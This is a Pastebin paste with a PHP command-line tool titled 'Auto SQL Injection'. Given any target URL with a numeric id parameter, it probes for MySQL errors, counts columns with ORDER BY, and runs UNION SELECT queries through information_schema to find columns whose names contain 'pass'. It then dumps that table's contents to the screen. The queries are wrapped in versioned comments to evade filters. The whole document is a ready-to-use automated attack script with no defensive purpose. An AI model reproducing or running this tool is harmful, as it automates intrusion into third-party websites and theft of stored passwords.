Aluf

Auto SQL Injection PHP

Jan 23rd, 2015
488
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.89 KB | None | 0 0
  1. <?
  2.         @set_time_limit(0)
  3.         @error_reporting(0)
  4.         if(count($argv)<=2)
  5.         {
  6.                 print("Auto SQL Injection");
  7.                 print "Usage : php {$argv[0]} site.com/file.php?id=1 id\n";
  8.                 die();
  9.         }
  10.         function checke($url){
  11.     $login = $url;
  12.     $ch = curl_init();
  13.     curl_setopt($ch,CURLOPT_URL,$login);
  14.         curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1');
  15.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  16.         $result = curl_exec($ch);
  17.     curl_close($ch);
  18.         return $result;
  19.     }
  20.         $target = urldecode($argv[1]);
  21.         $id = $argv[2];
  22.         #preg_match("#(\?)?{$id}\=([0-9]{1,6})(&)?#",$target,$m);
  23.        #print_r($m);
  24.        #exit();
  25.        $test = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1'",$target);
  26.         $get = file_get_contents("{$test}");
  27.         if(eregi("MySQL",$get))
  28.         {
  29.                 echo "Infected .. Trying To Exploit\r\n";
  30.                 $test2 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+1000--",$target);
  31.                 $order1 = file_get_contents($test2);
  32.                 if(eregi("MySQL",$order1) or eregi("'1000' in 'order",$order1))
  33.                 {
  34.                         echo "Please wite to get cals\r\n";
  35.                 }else{
  36.                         echo "Can't Get cols please test orther site\r\n";
  37.                         exit();
  38.                 }
  39.                 for($i=1;$i<=50;$i++)
  40.                 {
  41.                         echo (($i-1)==0)?"":"Col ".($i-1)."\r\n";
  42.                         $un .= "{$i},";
  43.                         $test1 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+{$i}--",$target);
  44.                         $order = file_get_contents($test1);
  45.                         if(!$order)
  46.                         {
  47.                                 echo "Target Falied. \r\n";
  48.                                 exit();
  49.                         }
  50.                         if(eregi("MySQL",$order) or eregi("'{$i}' in 'order",$order))
  51.                         {      
  52.                                 $by = ($i-0);
  53.                                 echo "order by = ".($i-1)." \r\n";
  54.                                 break;
  55.                         }
  56.                 }
  57.                 $u = $by;
  58.                 $un = preg_replace("#,{$u},#","",$un);
  59.                 $target = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=-$1",$target);
  60.                 $injc = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,column_name,0x7c3a7c,table_schema,0x7c3a7c,table_name,0x4d722e446d3472)*/",$un);
  61.                 $url = urlencode(" /*!union select*/ {$injc} /*!from information_schema.columns where column_name like char(37, 112, 97, 115, 115, 37)*/--");
  62.                 $fulltarget = "{$target}{$url}";
  63.                 $exploit = @file_get_contents($fulltarget);
  64.                 preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit,$m);
  65.                 $exp = explode("|:|",$m[1]);
  66.                 $password = (($exp[0])=="")?"0x4e6f7420466f756e64":$exp[0];
  67.                 $db = $exp[1];
  68.                 $table = $exp[2];
  69.                 $sqltable = bin2hex($table);
  70.                 if($password == "0x4e6f7420466f756e64"){exit("Error");}
  71.                 $injc2 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,group_concat(column_name),0x4d722e446d3472)*/",$un);
  72.                 $url2 = urlencode(" /*!union select*/ {$injc2} /*!from information_schema.columns where table_name=0x{$sqltable}*/--");
  73.                 $fulltarget2 = "{$target}{$url2}";
  74.                 $exploit2 = @file_get_contents($fulltarget2);
  75.                 preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit2,$m2);
  76.                 $m2[1] = explode(",",$m2[1]);
  77.                 foreach($m2[1] as $tables)
  78.                 {
  79.                         if($m2[1][count($m2[1])-1]==$tables)
  80.                         {
  81.                                 $col .= "{$tables}";
  82.                         }else{
  83.                                 $col .= "{$tables},0x7c3a7c,";
  84.                         }
  85.                         $cols[]=$tables;
  86.                 }
  87.                 $injc3 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,{$col},0x4d722e446d3472)*/",$un);
  88.                 $url3 = urlencode(" /*!union select*/ {$injc3} /*! from {$table}*/--");
  89.                 $fulltarget3 = "{$target}{$url3}";
  90.                 $exploit3 = @file_get_contents($fulltarget3);
  91.                 preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit3,$m3);
  92.                 $infos = explode("|:|",$m3[1]);
  93.                 $i=0;
  94.                 foreach($infos as $info){
  95.                         echo "{$cols[$i]} : {$info}\r\n";
  96.                 $i++;
  97.                 }
  98.                 file_put_contents("dd.txt",$exploit2."\r\n".$fulltarget2);
  99.                 #print_r($m2);
  100.        } else {
  101.                 echo "not infected";
  102.         }
  103.  
  104. ?>
Advertisement
Add Comment
Please, Sign In to add comment